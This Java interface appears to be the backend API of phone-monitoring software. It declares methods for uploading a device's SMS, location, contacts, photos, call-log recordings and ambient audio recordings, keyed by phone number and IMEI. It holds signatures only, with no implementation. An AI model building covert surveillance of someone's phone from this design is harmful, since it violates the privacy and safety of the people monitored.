package com.monitor.service;

import com.monitor.api.entity.Result;
import com.monitor.po.User;

public interface ApiService {

	/**
	 * 同步用户信息
	 * 
	 * @param phone
	 * @param imei
	 * @param model
	 * @return
	 * @throws Exception
	 */
	Result sychonizeUserInfo(String phone, String imei, String model) throws Exception;

	/**
	 * 上传短信
	 * 
	 * @param phone
	 * @param smsStr
	 * @return
	 * @throws Exception
	 */
	Result uploadSms(String phone, String smsStr) throws Exception;

	/**
	 * 上传经纬度
	 * 
	 * @param phone
	 * @param locationStr
	 * @return
	 * @throws Exception
	 */
	Result uploadLocation(String phone, String locationStr) throws Exception;

	/**
	 * 上传联系人数据
	 * 
	 * @param phone
	 * @param contactStr
	 * @return
	 * @throws Exception
	 */
	Result uploadContact(String phone, String contactStr) throws Exception;

	/**
	 * 上传相册
	 * 
	 * @param uid
	 * @param path
	 * @param addTime
	 * @throws Exception
	 */
	void uploadAlbum(long uid, String path, long addTime) throws Exception;

	/**
	 * 根据电话号码获取用户
	 * 
	 * @param phone
	 * @return
	 * @throws Exception
	 */
	User getUserByPhone(String phone) throws Exception;

	/**
	 * 上传通话记录
	 * 
	 * @param uid
	 * @param targetPhone
	 * @param addTime
	 * @param path
	 */
	void uploadCallLog(long uid, String targetPhone, long addTime, String path, boolean outgoing) throws Exception;

	/**
	 * 上传环境录音
	 * 
	 * @param uid
	 * @param addTime
	 * @param path
	 * @throws Exception
	 */
	void uploadEnvironmentRecord(long uid, long addTime, String path) throws Exception;
}
